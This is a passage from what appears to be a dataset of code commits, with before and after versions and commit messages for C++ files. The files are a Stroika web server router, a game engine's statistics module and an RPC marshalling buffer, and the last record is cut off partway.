https:\/\/tools.ietf.org\/html\/rfc2616#section-5.1.2 - the URI must be abs_path\n }\n catch (...) {\n Execution::Throw (ClientErrorException (IO::Network::HTTP::StatusCodes::kBadRequest, L\"request URI requires an absolute path\"sv));\n }\n\n \/\/ We interpret routes as matching against a relative path from the root\n for (Route r : fRoutes_) {\n if (r.fVerbMatch_ and not method.Match (*r.fVerbMatch_)) {\n continue;\n }\n if (matches == nullptr) {\n if (r.fPathMatch_ and not hostRelPath.Match (*r.fPathMatch_)) {\n continue;\n }\n }\n else {\n if (r.fPathMatch_ and not hostRelPath.Match (*r.fPathMatch_, matches)) {\n continue;\n }\n }\n if (r.fRequestMatch_ and not(*r.fRequestMatch_) (request)) {\n continue;\n }\n return r.fHandler_;\n }\n return nullopt;\n }\n optional<Set<String>> GetAllowedMethodsForRequest_ (const Request& request) const\n {\n URI url = request.GetURL ();\n String hostRelPath = url.GetPath ();\n static const Set<String> kMethods2Try_{L\"GET\"sv, L\"PUT\"sv, L\"OPTIONS\"sv, L\"DELETE\"sv, L\"POST\"sv};\n Set<String> methods;\n for (String method : kMethods2Try_) {\n for (Route r : fRoutes_) {\n if (r.fVerbMatch_ and not method.Match (*r.fVerbMatch_)) {\n continue;\n }\n if (r.fPathMatch_ and not hostRelPath.Match (*r.fPathMatch_)) {\n continue;\n }\n if (r.fRequestMatch_ and not(*r.fRequestMatch_) (request)) {\n continue;\n }\n methods.Add (method);\n }\n }\n return methods.empty () ? optional<Set<String>>{} : optional<Set<String>>{methods};\n }\n\n const Sequence<Route> fRoutes_; \/\/ no need for synchronization cuz constant - just set on construction\n};\n\n\/*\n ********************************************************************************\n *************************** WebServer::Router **********************************\n ********************************************************************************\n *\/\nRouter::Router (const Sequence<Route>& routes)\n : inherited (make_shared<Rep_> (routes))\n{\n}\n\noptional<RequestHandler> Router::Lookup (const Request& request) const\n{\n return _GetRep<Rep_> ().Lookup_ (request, nullptr);\n}\n<commit_msg>minor cleanups to WebServer Router code, and fixed one regression - due to GetPath\/GetAbsPath change - \/ in name - with getting allowed methods for path<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2019. All rights reserved\n *\/\n#include \"..\/StroikaPreComp.h\"\n\n#include \"..\/..\/Foundation\/Characters\/String_Constant.h\"\n#include \"..\/..\/Foundation\/Characters\/ToString.h\"\n#include \"..\/..\/Foundation\/Execution\/Exceptions.h\"\n#include \"..\/..\/Foundation\/IO\/Network\/HTTP\/ClientErrorException.h\"\n#include \"..\/..\/Foundation\/IO\/Network\/HTTP\/Headers.h\"\n#include \"..\/..\/Foundation\/IO\/Network\/HTTP\/Methods.h\"\n\n#include \"Router.h\"\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::Characters;\nusing namespace Stroika::Foundation::Containers;\nusing namespace Stroika::Foundation::Memory;\nusing namespace Stroika::Foundation::IO::Network;\n\nusing namespace Stroika::Frameworks;\nusing namespace Stroika::Frameworks::WebServer;\n\nusing HTTP::ClientErrorException;\n\n\/\/ Comment this in to turn on aggressive noisy DbgTrace in this module\n\/\/#define USE_NOISY_TRACE_IN_THIS_MODULE_ 1\n\n\/*\n ********************************************************************************\n ************************* WebServer::Router::Rep_ ******************************\n ********************************************************************************\n *\/\n\nstruct Router::Rep_ : Interceptor::_IRep {\n Rep_ (const Sequence<Route>& routes)\n : fRoutes_ (routes)\n {\n }\n virtual void HandleFault ([[maybe_unused]] Message* m, [[maybe_unused]] const exception_ptr& e) noexcept override\n {\n }\n virtual void HandleMessage (Message* m) override\n {\n#if USE_NOISY_TRACE_IN_THIS_MODULE_\n Debug::TraceContextBumper ctx{L\"Router::Rep_::HandleMessage\", L\"(...method=%s,url=%s)\", m->GetRequestHTTPMethod ().c_str (), Characters::ToString (m->GetRequestURL ()).c_str ()};\n#endif\n Sequence<String> matches;\n optional<RequestHandler> handler = Lookup_ (*m->PeekRequest (), &matches);\n if (handler) {\n (*handler) (m, matches);\n }\n else {\n if (optional<Set<String>> o = GetAllowedMethodsForRequest_ (*m->PeekRequest ())) {\n \/\/ From 10.4.6 405 Method Not Allowed\n \/\/ The method specified in the Request-Line is not allowed for the resource identified by the Request-URI.\n \/\/ The response MUST include an Allow header containing a list of valid methods for the requested resource.\n Assert (not o->empty ());\n StringBuilder res;\n o->Apply ([&res] (const String& i) { if (not res.empty ()) { res += L\", \"; } res += i; });\n m->PeekResponse ()->AddHeader (HTTP::HeaderName::kAllow, res.str ());\n Execution::Throw (ClientErrorException (HTTP::StatusCodes::kMethodNotAllowed));\n }\n else {\n DbgTrace (L\"Router 404: (...url=%s)\", Characters::ToString (m->GetRequestURL ()).c_str ());\n Execution::Throw (ClientErrorException (HTTP::StatusCodes::kNotFound));\n }\n }\n }\n optional<RequestHandler> Lookup_ (const Request& request, Sequence<String>* matches) const\n {\n String method = request.GetHTTPMethod ();\n URI url = request.GetURL ();\n\n String hostRelPath;\n try {\n hostRelPath = url.GetAbsPath<String> ().SubString (1); \/\/ According to https:\/\/tools.ietf.org\/html\/rfc2616#section-5.1.2 - the URI must be abs_path\n }\n catch (...) {\n Execution::Throw (ClientErrorException (HTTP::StatusCodes::kBadRequest, L\"request URI requires an absolute path\"sv));\n }\n\n \/\/ We interpret routes as matching against a relative path from the root\n for (Route r : fRoutes_) {\n if (r.fVerbMatch_ and not method.Match (*r.fVerbMatch_)) {\n continue;\n }\n if (matches == nullptr) {\n if (r.fPathMatch_ and not hostRelPath.Match (*r.fPathMatch_)) {\n continue;\n }\n }\n else {\n if (r.fPathMatch_ and not hostRelPath.Match (*r.fPathMatch_, matches)) {\n continue;\n }\n }\n if (r.fRequestMatch_ and not(*r.fRequestMatch_) (request)) {\n continue;\n }\n return r.fHandler_;\n }\n return nullopt;\n }\n optional<Set<String>> GetAllowedMethodsForRequest_ (const Request& request) const\n {\n URI url = request.GetURL ();\n String hostRelPath;\n try {\n hostRelPath = url.GetAbsPath<String> ().SubString (1); \/\/ According to https:\/\/tools.ietf.org\/html\/rfc2616#section-5.1.2 - the URI must be abs_path\n }\n catch (...) {\n return nullopt;\n }\n static const Set<String> kMethods2Try_{HTTP::Methods::kGet, HTTP::Methods::kPut, HTTP::Methods::kOptions, HTTP::Methods::kDelete, HTTP::Methods::kPost};\n Set<String> methods;\n for (String method : kMethods2Try_) {\n for (Route r : fRoutes_) {\n if (r.fVerbMatch_ and not method.Match (*r.fVerbMatch_)) {\n continue;\n }\n if (r.fPathMatch_ and not hostRelPath.Match (*r.fPathMatch_)) {\n continue;\n }\n if (r.fRequestMatch_ and not(*r.fRequestMatch_) (request)) {\n continue;\n }\n methods.Add (method);\n }\n }\n return methods.empty () ? nullopt : optional<Set<String>>{methods};\n }\n\n const Sequence<Route> fRoutes_; \/\/ no need for synchronization cuz constant - just set on construction\n};\n\n\/*\n ********************************************************************************\n *************************** WebServer::Router **********************************\n ********************************************************************************\n *\/\nRouter::Router (const Sequence<Route>& routes)\n : inherited (make_shared<Rep_> (routes))\n{\n}\n\noptional<RequestHandler> Router::Lookup (const Request& request) const\n{\n return _GetRep<Rep_> ().Lookup_ (request, nullptr);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"gum\/Statistics.h\"\n#include \"gum\/StatFPS.h\"\n#include \"gum\/StatTag.h\"\n#include \"gum\/GUM_GTxt.h\"\n#include \"gum\/SymbolPool.h\"\n#include \"gum\/Image.h\"\n\n#include <logger.h>\n#include <glp_loop.h>\n#include <ps_3d.h>\n#include <sprite2\/pre_defined.h>\n#include S2_MAT_HEADER\n#include <sprite2\/StatDrawCall.h>\n#include <sprite2\/StatPingPong.h>\n#include <sprite2\/StatTopNodes.h>\n#include <sprite2\/StatSymDraw.h>\n#include <sprite2\/StatSymCount.h>\n#include <sprite2\/StatSprCount.h>\n#include <sprite2\/S2_Sprite.h>\n#include <sprite2\/S2_Actor.h>\n#include <shaderlab\/ShaderMgr.h>\n#include <shaderlab\/Statistics.h>\n#include <shaderlab\/StatDrawCall.h>\n\n#include <string>\n\n#include <time.h>\n\nnamespace gum\n{\n\nSINGLETON_DEFINITION(Statistics);\n\nstatic const float FPS_SMOOTHING = 0.99f;\n\nStatistics::Statistics()\n\t: m_flags(0)\n\t, m_tpf(0)\n\t, m_tpf_smooth(0)\n\t, m_no_stat_begin(0)\n\t, m_no_stat_tot(0)\n\t, m_opt_enable(false)\n{\n\tmemset(&m_mem, 0, sizeof(m_mem));\n}\n\nvoid Statistics::EnableGraph(bool enable)\n{\n\tif (enable) {\n\t\tm_flags |= FLAG_PRINT_GRAPH;\n\t} else {\n\t\tm_flags &= ~FLAG_PRINT_GRAPH;\n\t}\n}\n\nvoid Statistics::EnableConsole(bool enable)\n{\n\tif (enable) {\n\t\tm_flags |= FLAG_PRINT_CONSOLE;\n\t} else {\n\t\tm_flags &= ~FLAG_PRINT_CONSOLE;\n\t}\n}\n\nvoid Statistics::EnableFile(bool enable)\n{\n\tif (enable == IsFileEnable()) {\n\t\treturn;\n\t}\n\n\tif (enable) \n\t{\n\t\tm_flags |= FLAG_PRINT_FILE;\n\n#ifdef __ANDROID__\n\t\tm_fout.open(\"\/sdcard\/lr_stat.bin\", std::ofstream::out | std::ofstream::binary);\n#else\n\t\tm_fout.open(\"lr_stat.bin\", std::ofstream::out | std::ofstream::binary);\t\n#endif \/\/ __ANDROID__\n\t} \n\telse \n\t{\n\t\tm_flags &= ~FLAG_PRINT_FILE;\n\n\t\tm_fout.close();\n\t}\n}\n\nbool Statistics::IsGraphEnable() const\n{\n\treturn (m_flags & FLAG_PRINT_GRAPH) != 0;\n}\n\nbool Statistics::IsConsoleEnable() const\n{\n\treturn (m_flags & FLAG_PRINT_CONSOLE) != 0;\t\n}\n\nbool Statistics::IsFileEnable() const\n{\n\treturn (m_flags & FLAG_PRINT_FILE) != 0;\n}\n\nvoid Statistics::Update()\n{\n\tif (m_flags == 0) {\n\t\treturn;\n\t}\n\n\tm_tpf = glp_get_dt();\n\tm_tpf_smooth = (m_tpf_smooth * FPS_SMOOTHING) + m_tpf * (1.0f - FPS_SMOOTHING);\n}\n\nvoid Statistics::Print()\n{\n\tStatTag::Instance()->PrintScreen();\n\n\tif (m_flags == 0) {\n\t\treturn;\n\t}\n\n\tif (m_flags & FLAG_PRINT_GRAPH) {\n\t\tPrintScreen();\n\t}\n\tif (m_flags & FLAG_PRINT_CONSOLE) {\n\t\tPrintConsole();\n\t}\n\tif (m_flags & FLAG_PRINT_FILE) {\n\t\tPrintFile();\n\t}\n}\n\nvoid Statistics::Reset()\n{\n\tif (m_flags == 0) {\n\t\treturn;\n\t}\n\n\tm_tpf = 0;\n\n\tsl::Statistics::Instance()->Reset();\n\tsl::StatDrawCall::Instance()->Reset();\n\n\ts2::StatDrawCall::Instance()->Reset();\n\ts2::StatPingPong::Instance()->Reset();\n\ts2::StatTopNodes::Instance()->Reset();\n\ts2::StatSymDraw::Instance()->Reset();\n}\n\nvoid Statistics::Flush()\n{\n\tStatTag::Instance()->Flush();\n}\n\nvoid Statistics::NoStatBegin()\n{\n\tm_no_stat_begin = glp_get_time();\n}\n\nvoid Statistics::NoStatEnd()\n{\n\tm_no_stat_tot = (glp_get_time() - m_no_stat_begin);\n}\n\nvoid Statistics::OptEnable(bool enable)\n{\n\tm_opt_enable = enable;\n}\n\nvoid Statistics::SetMem(float tot, float lua)\n{\n\tm_mem.tot = tot;\n\tm_mem.lua = lua;\n}\n\nvoid Statistics::PrintScreen() const\n{\n\tsl::ShaderMgr* mgr = sl::ShaderMgr::Instance();\n\tmgr->SetShader(sl::SPRITE2);\n\n\tstatic char buf[512];\n\n\tconst int w = 960;\n\tconst int top = 280;\n\n\tS2_MAT mt;\n\tmt.Translate(0, top);\n\n\tsprintf(buf, \"OPT: %s, emitter: %d\", m_opt_enable ? \"open\" : \"closed\", p3d_emitter_count());\n\tGTxt::Instance()->Draw(mt, buf, w);\t\n\n\tmt.Translate(0, -30);\n\tsprintf(buf, \"FPS: %.1f, ms: %.1f, ex:%.1f\", 1000.0f \/ m_tpf, m_tpf_smooth, m_no_stat_tot \/ 1000.0f);\n\tGTxt::Instance()->Draw(mt, buf, w);\t\n\n\tmt.Translate(0, -30);\n\tsprintf(buf, \"MEM: tot %.1f, tex %.1f, lua %.1f\", m_mem.tot, m_mem.tex, m_mem.lua);\n\tGTxt::Instance()->Draw(mt, buf, w);\t\n\n\tstatic std::string buf_str;\n\tbuf_str.reserve(512);\n\n\tmt.Translate(0, -30);\n\tsl::Statistics::Instance()->Print(buf_str);\n\tGTxt::Instance()->Draw(mt, buf_str, w);\t\n\tbuf_str.clear();\n\n\tmt.Translate(0, -30);\n\ts2::StatDrawCall::Instance()->Print(buf_str);\n\tGTxt::Instance()->Draw(mt, buf_str, w);\t\n\tbuf_str.clear();\n\n\tmt.Translate(0, -40);\n\ts2::StatPingPong::Instance()->Print(buf_str);\n\tGTxt::Instance()->Draw(mt, buf_str, w);\t\n\tbuf_str.clear();\n\n\tmt.Translate(0, -50);\n\tsprintf(buf, \"COUNT: sym %d, spr %d, actor %d, img %d\", \n\t\tSymbolPool::Instance()->Count(), \n\t\ts2::Sprite::GetAllSprCount(), \n\t\ts2::Actor::GetAllActorCount(), \n\t\tImageMgr::Instance()->Count());\n\tGTxt::Instance()->Draw(mt, buf, w);\t\n\n\tmt.Translate(0, -30);\n\ts2::StatSymCount::Instance()->Print(buf_str);\n\tGTxt::Instance()->Draw(mt, buf_str, w);\t\n\tbuf_str.clear();\n\n\tmt.Translate(0, -30);\n\ts2::StatSprCount::Instance()->Print(buf_str);\n\tGTxt::Instance()->Draw(mt, buf_str, w);\t\n\tbuf_str.clear();\n\n\tmt.Translate(450, -100);\n\ts2::StatTopNodes::Instance()->Print(buf_str);\n\tGTxt::Instance()->Draw(mt, buf_str, w);\t\n\tbuf_str.clear();\n\n\/\/ \tmt.Translate(450, 180);\n\/\/ \ts2::StatSymbol::Instance()->Print(buf_str);\n\/\/ \tGTxt::Instance()->Draw(mt, buf_str, w);\t\n\/\/ \tbuf_str.clear();\n\n\/\/ \tmt.Translate(0, -230);\n\/\/ \tsl::StatDrawCall::Instance()->Print(buf_str);\n\/\/ \tGTxt::Instance()->Draw(mt, buf_str, w);\t\n\/\/ \tbuf_str.clear();\n\n\tmgr->FlushShader();\n}\n\nvoid Statistics::PrintConsole() const\n{\n\tstatic const int PRINT_COUNT = 30;\n\tstatic int count = 0;\n\t++count;\n\tif (count == PRINT_COUNT) \n\t{\n\t\tcount = 0;\n\t\tsl::Statistics* stat = sl::Statistics::Instance();\n\t\tint dc = stat->GetDrawCall();\n\t\tint count = stat->GetVertices();\n\t\tfloat fps_curr = StatFPS::Instance()->GetFPSCurr();\n\t\tfloat curr_cost = 0;\n\t\tif (fps_curr != 0) {\n\t\t\tcurr_cost = 1000.0f \/ fps_curr;\n\t\t}\n\t\tLOGI(\"fps %.1f, cost %.1f, dc %d, vertices %d, cost avg %.1f\\n\", \n\t\t\t1000.0f \/ m_tpf_smooth, m_tpf_smooth, dc, count, curr_cost);\n\t}\n}\n\nvoid Statistics::PrintFile() const\n{\n\tsl::Statistics* sl_stat = sl::Statistics::Instance();\n\n\tstatic char buf[512];\n\tsprintf(buf, \"timestamp %lu, cost %.1f, vertices %d, dc %d\\n\", \n\t\ttime(NULL), m_tpf_smooth, sl_stat->GetVertices(), sl_stat->GetDrawCall());\n\tm_fout << buf;\n\n\/\/ \tstatic std::string buf_str;\n\/\/ \tbuf_str.reserve(1024);\n\/\/ \ts2::StatTopNodes::Instance()->Print(buf_str);\n\/\/ \tm_fout << buf_str;\n\n\tstatic const int FLUSH_COUNT = 100;\n\tstatic int count = 0;\n\t++count;\n\tif (count == FLUSH_COUNT) {\n\t\tcount = 0;\n\t\tm_fout.flush();\n\t}\n}\n\n}<commit_msg>[FIXED] stat reset<commit_after>#include \"gum\/Statistics.h\"\n#include \"gum\/StatFPS.h\"\n#include \"gum\/StatTag.h\"\n#include \"gum\/GUM_GTxt.h\"\n#include \"gum\/SymbolPool.h\"\n#include \"gum\/Image.h\"\n\n#include <logger.h>\n#include <glp_loop.h>\n#include <ps_3d.h>\n#include <sprite2\/pre_defined.h>\n#include S2_MAT_HEADER\n#include <sprite2\/StatDrawCall.h>\n#include <sprite2\/StatPingPong.h>\n#include <sprite2\/StatTopNodes.h>\n#include <sprite2\/StatSymDraw.h>\n#include <sprite2\/StatSymCount.h>\n#include <sprite2\/StatSprCount.h>\n#include <sprite2\/S2_Sprite.h>\n#include <sprite2\/S2_Actor.h>\n#include <shaderlab\/ShaderMgr.h>\n#include <shaderlab\/Statistics.h>\n#include <shaderlab\/StatDrawCall.h>\n\n#include <string>\n\n#include <time.h>\n\nnamespace gum\n{\n\nSINGLETON_DEFINITION(Statistics);\n\nstatic const float FPS_SMOOTHING = 0.99f;\n\nStatistics::Statistics()\n\t: m_flags(0)\n\t, m_tpf(0)\n\t, m_tpf_smooth(0)\n\t, m_no_stat_begin(0)\n\t, m_no_stat_tot(0)\n\t, m_opt_enable(false)\n{\n\tmemset(&m_mem, 0, sizeof(m_mem));\n}\n\nvoid Statistics::EnableGraph(bool enable)\n{\n\tif (enable) {\n\t\tm_flags |= FLAG_PRINT_GRAPH;\n\t} else {\n\t\tm_flags &= ~FLAG_PRINT_GRAPH;\n\t}\n}\n\nvoid Statistics::EnableConsole(bool enable)\n{\n\tif (enable) {\n\t\tm_flags |= FLAG_PRINT_CONSOLE;\n\t} else {\n\t\tm_flags &= ~FLAG_PRINT_CONSOLE;\n\t}\n}\n\nvoid Statistics::EnableFile(bool enable)\n{\n\tif (enable == IsFileEnable()) {\n\t\treturn;\n\t}\n\n\tif (enable) \n\t{\n\t\tm_flags |= FLAG_PRINT_FILE;\n\n#ifdef __ANDROID__\n\t\tm_fout.open(\"\/sdcard\/lr_stat.bin\", std::ofstream::out | std::ofstream::binary);\n#else\n\t\tm_fout.open(\"lr_stat.bin\", std::ofstream::out | std::ofstream::binary);\t\n#endif \/\/ __ANDROID__\n\t} \n\telse \n\t{\n\t\tm_flags &= ~FLAG_PRINT_FILE;\n\n\t\tm_fout.close();\n\t}\n}\n\nbool Statistics::IsGraphEnable() const\n{\n\treturn (m_flags & FLAG_PRINT_GRAPH) != 0;\n}\n\nbool Statistics::IsConsoleEnable() const\n{\n\treturn (m_flags & FLAG_PRINT_CONSOLE) != 0;\t\n}\n\nbool Statistics::IsFileEnable() const\n{\n\treturn (m_flags & FLAG_PRINT_FILE) != 0;\n}\n\nvoid Statistics::Update()\n{\n\tif (m_flags == 0) {\n\t\treturn;\n\t}\n\n\tm_tpf = glp_get_dt();\n\tm_tpf_smooth = (m_tpf_smooth * FPS_SMOOTHING) + m_tpf * (1.0f - FPS_SMOOTHING);\n}\n\nvoid Statistics::Print()\n{\n\tStatTag::Instance()->PrintScreen();\n\n\tif (m_flags == 0) {\n\t\treturn;\n\t}\n\n\tif (m_flags & FLAG_PRINT_GRAPH) {\n\t\tPrintScreen();\n\t}\n\tif (m_flags & FLAG_PRINT_CONSOLE) {\n\t\tPrintConsole();\n\t}\n\tif (m_flags & FLAG_PRINT_FILE) {\n\t\tPrintFile();\n\t}\n}\n\nvoid Statistics::Reset()\n{\n\tm_tpf = 0;\n\n\tsl::Statistics::Instance()->Reset();\n\tsl::StatDrawCall::Instance()->Reset();\n\n\ts2::StatDrawCall::Instance()->Reset();\n\ts2::StatPingPong::Instance()->Reset();\n\ts2::StatTopNodes::Instance()->Reset();\n\ts2::StatSymDraw::Instance()->Reset();\n}\n\nvoid Statistics::Flush()\n{\n\tStatTag::Instance()->Flush();\n}\n\nvoid Statistics::NoStatBegin()\n{\n\tm_no_stat_begin = glp_get_time();\n}\n\nvoid Statistics::NoStatEnd()\n{\n\tm_no_stat_tot = (glp_get_time() - m_no_stat_begin);\n}\n\nvoid Statistics::OptEnable(bool enable)\n{\n\tm_opt_enable = enable;\n}\n\nvoid Statistics::SetMem(float tot, float lua)\n{\n\tm_mem.tot = tot;\n\tm_mem.lua = lua;\n}\n\nvoid Statistics::PrintScreen() const\n{\n\tsl::ShaderMgr* mgr = sl::ShaderMgr::Instance();\n\tmgr->SetShader(sl::SPRITE2);\n\n\tstatic char buf[512];\n\n\tconst int w = 960;\n\tconst int top = 280;\n\n\tS2_MAT mt;\n\tmt.Translate(0, top);\n\n\tsprintf(buf, \"OPT: %s, emitter: %d\", m_opt_enable ? \"open\" : \"closed\", p3d_emitter_count());\n\tGTxt::Instance()->Draw(mt, buf, w);\t\n\n\tmt.Translate(0, -30);\n\tsprintf(buf, \"FPS: %.1f, ms: %.1f, ex:%.1f\", 1000.0f \/ m_tpf, m_tpf_smooth, m_no_stat_tot \/ 1000.0f);\n\tGTxt::Instance()->Draw(mt, buf, w);\t\n\n\tmt.Translate(0, -30);\n\tsprintf(buf, \"MEM: tot %.1f, tex %.1f, lua %.1f\", m_mem.tot, m_mem.tex, m_mem.lua);\n\tGTxt::Instance()->Draw(mt, buf, w);\t\n\n\tstatic std::string buf_str;\n\tbuf_str.reserve(512);\n\n\tmt.Translate(0, -30);\n\tsl::Statistics::Instance()->Print(buf_str);\n\tGTxt::Instance()->Draw(mt, buf_str, w);\t\n\tbuf_str.clear();\n\n\tmt.Translate(0, -30);\n\ts2::StatDrawCall::Instance()->Print(buf_str);\n\tGTxt::Instance()->Draw(mt, buf_str, w);\t\n\tbuf_str.clear();\n\n\tmt.Translate(0, -40);\n\ts2::StatPingPong::Instance()->Print(buf_str);\n\tGTxt::Instance()->Draw(mt, buf_str, w);\t\n\tbuf_str.clear();\n\n\tmt.Translate(0, -50);\n\tsprintf(buf, \"COUNT: sym %d, spr %d, actor %d, img %d\", \n\t\tSymbolPool::Instance()->Count(), \n\t\ts2::Sprite::GetAllSprCount(), \n\t\ts2::Actor::GetAllActorCount(), \n\t\tImageMgr::Instance()->Count());\n\tGTxt::Instance()->Draw(mt, buf, w);\t\n\n\tmt.Translate(0, -30);\n\ts2::StatSymCount::Instance()->Print(buf_str);\n\tGTxt::Instance()->Draw(mt, buf_str, w);\t\n\tbuf_str.clear();\n\n\tmt.Translate(0, -30);\n\ts2::StatSprCount::Instance()->Print(buf_str);\n\tGTxt::Instance()->Draw(mt, buf_str, w);\t\n\tbuf_str.clear();\n\n\tmt.Translate(450, -100);\n\ts2::StatTopNodes::Instance()->Print(buf_str);\n\tGTxt::Instance()->Draw(mt, buf_str, w);\t\n\tbuf_str.clear();\n\n\/\/ \tmt.Translate(450, 180);\n\/\/ \ts2::StatSymbol::Instance()->Print(buf_str);\n\/\/ \tGTxt::Instance()->Draw(mt, buf_str, w);\t\n\/\/ \tbuf_str.clear();\n\n\/\/ \tmt.Translate(0, -230);\n\/\/ \tsl::StatDrawCall::Instance()->Print(buf_str);\n\/\/ \tGTxt::Instance()->Draw(mt, buf_str, w);\t\n\/\/ \tbuf_str.clear();\n\n\tmgr->FlushShader();\n}\n\nvoid Statistics::PrintConsole() const\n{\n\tstatic const int PRINT_COUNT = 30;\n\tstatic int count = 0;\n\t++count;\n\tif (count == PRINT_COUNT) \n\t{\n\t\tcount = 0;\n\t\tsl::Statistics* stat = sl::Statistics::Instance();\n\t\tint dc = stat->GetDrawCall();\n\t\tint count = stat->GetVertices();\n\t\tfloat fps_curr = StatFPS::Instance()->GetFPSCurr();\n\t\tfloat curr_cost = 0;\n\t\tif (fps_curr != 0) {\n\t\t\tcurr_cost = 1000.0f \/ fps_curr;\n\t\t}\n\t\tLOGI(\"fps %.1f, cost %.1f, dc %d, vertices %d, cost avg %.1f\\n\", \n\t\t\t1000.0f \/ m_tpf_smooth, m_tpf_smooth, dc, count, curr_cost);\n\t}\n}\n\nvoid Statistics::PrintFile() const\n{\n\tsl::Statistics* sl_stat = sl::Statistics::Instance();\n\n\tstatic char buf[512];\n\tsprintf(buf, \"timestamp %lu, cost %.1f, vertices %d, dc %d\\n\", \n\t\ttime(NULL), m_tpf_smooth, sl_stat->GetVertices(), sl_stat->GetDrawCall());\n\tm_fout << buf;\n\n\/\/ \tstatic std::string buf_str;\n\/\/ \tbuf_str.reserve(1024);\n\/\/ \ts2::StatTopNodes::Instance()->Print(buf_str);\n\/\/ \tm_fout << buf_str;\n\n\tstatic const int FLUSH_COUNT = 100;\n\tstatic int count = 0;\n\t++count;\n\tif (count == FLUSH_COUNT) {\n\t\tcount = 0;\n\t\tm_fout.flush();\n\t}\n}\n\n}<|endoftext|>"} {"text":"<commit_before>#include <sstream>\n\n#include <sys\/time.h>\n\n#include \"marshal.h\"\n\nusing namespace std;\n\nnamespace rpc {\n\n#ifdef PKT_SAMPLING\nint _pkt_sample_in[PKT_SAMPLE_SIZE];\nint _pkt_sample_out[PKT_SAMPLE_SIZE];\n\nvoid _pkt_sampling_report() {\n static size_t ratelimit_counter = 0;\n static int last_report_tm = 0;\n if (ratelimit_counter++ % 1024 == 0) {\n struct timeval now;\n gettimeofday(&now, NULL);\n if (now.tv_sec - last_report_tm >= 1) {\n {\n ostringstream ostr;\n for (int i = 0; i < PKT_SAMPLE_SIZE; i++) {\n ostr << \" \" << _pkt_sample_in[i];\n }\n Log::info(\"PKT_SAMPLE_IN: %s\", ostr.str().c_str());\n }\n {\n ostringstream ostr;\n for (int i = 0; i < PKT_SAMPLE_SIZE; i++) {\n ostr << \" \" << _pkt_sample_out[i];\n }\n Log::info(\"PKT_SAMPLE_OUT:%s\", ostr.str().c_str());\n }\n last_report_tm = now.tv_sec;\n }\n }\n}\n\n#endif \/\/ PKT_SAMPLING\n\n\/**\n * 8kb minimum chunk size.\n * NOTE: this value directly affects how many read\/write syscall will be issued.\n *\/\nconst int Chunk::min_size = 8192;\n\nMarshal1::Bookmark* Marshal1::set_bookmark(int size) {\n verify(write_counter_ == 0);\n\n \/\/ invariant: head of chunk list is not fully read (otherwise it's a waste of memory)\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n Bookmark* bmark = new Bookmark();\n bmark->size_ = size;\n bmark->ptr_ = new char*[bmark->size_];\n\n for (int i = 0; i < bmark->size_; i++) {\n if (chunk_.empty() || chunk_.back()->fully_written()) {\n chunk_.push_back(new Chunk);\n }\n bmark->ptr_[i] = chunk_.back()->set_bookmark();\n }\n\n return bmark;\n}\n\nvoid Marshal1::write_bookmark(Bookmark* bmark, const void* ptr) {\n char* pc = (char *) ptr;\n verify(bmark != NULL && bmark->ptr_ != NULL && bmark->size_ >= 0);\n for (int i = 0; i < bmark->size_; i++) {\n *(bmark->ptr_[i]) = pc[i];\n }\n}\n\nint Marshal1::write(const void* p, int n) {\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n if (chunk_.empty() || chunk_.back()->fully_written()) {\n chunk_.push_back(new Chunk(p, n));\n } else {\n int n_write = chunk_.back()->write(p, n);\n\n \/\/ otherwise the above fully_written() will return true\n assert(n_write > 0);\n\n if (n_write < n) {\n const char* pc = (const char *) p;\n chunk_.push_back(new Chunk(pc + n_write, n - n_write));\n }\n }\n\n write_counter_ += n;\n return n;\n}\n\nint Marshal1::read(void* p, int n) {\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n char* pc = (char *) p;\n int n_read = 0;\n while (!chunk_.empty() && n_read < n) {\n int r = chunk_.front()->read(pc + n_read, n - n_read);\n if (chunk_.front()->fully_read()) {\n \/\/ remove fully read chunks, avoid unnecessary mem usage\n delete chunk_.front();\n chunk_.pop_front();\n }\n if (r == 0) {\n \/\/ currently there's no content for us to read, so stop.\n break;\n }\n n_read += r;\n }\n\n verify(n_read <= n);\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n return n_read;\n}\n\nint Marshal1::peek(void* p, int n) const {\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n char* pc = (char *) p;\n int n_peek = 0;\n\n for (list<Chunk*>::const_iterator it = chunk_.begin(); it != chunk_.end(); ++it) {\n int r = (*it)->peek(pc + n_peek, n - n_peek);\n if (r == 0) {\n \/\/ no more data to peek, so stop\n break;\n }\n n_peek += r;\n if (n_peek == n) {\n \/\/ read enough data, so stop\n break;\n }\n }\n\n assert(n_peek <= n);\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n return n_peek;\n}\n\nint Marshal1::write_to_fd(int fd, const io_ratelimit& rate) {\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n if (rate.min_size > 0 || rate.interval > 0) {\n \/\/ rpc batching, check if should wait till next batch\n bool should_wait = true;\n if (rate.min_size > 0 && content_size_gt(rate.min_size)) {\n should_wait = false;\n }\n\n if (rate.interval > 0) {\n struct timeval tm;\n gettimeofday(&tm, NULL);\n double now = tm.tv_sec + tm.tv_usec \/ 1000.0 \/ 1000.0;\n if (should_wait && now - last_write_fd_tm_ > rate.interval) {\n should_wait = false;\n }\n if (should_wait == false) {\n last_write_fd_tm_ = now;\n }\n }\n\n if (should_wait) {\n return 0;\n }\n }\n\n int n_write = 0;\n while (!chunk_.empty()) {\n int r = chunk_.front()->write_to_fd(fd);\n if (chunk_.front()->fully_read()) {\n \/\/ remove useless chunks when they are fully read\n delete chunk_.front();\n chunk_.pop_front();\n }\n if (r <= 0) {\n break;\n }\n n_write += r;\n }\n\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n\n return n_write;\n}\n\nint Marshal1::read_from_marshal(Marshal1& m, int n \/* =? *\/) {\n assert(chunk_.empty() || !chunk_.front()->fully_read());\n assert(m.chunk_.empty() || !m.chunk_.front()->fully_read());\n\n int n_read = 0;\n while (n_read < n) {\n if (m.chunk_.empty()) {\n \/\/ nothing more to read\n break;\n }\n if (chunk_.empty() || chunk_.back()->fully_written()) {\n int head_size = m.chunk_.front()->content_size();\n if (head_size < n - n_read) {\n\n \/\/ speed up: directly transfer chunk pointer, avoid memory copying\n chunk_.push_back(m.chunk_.front());\n 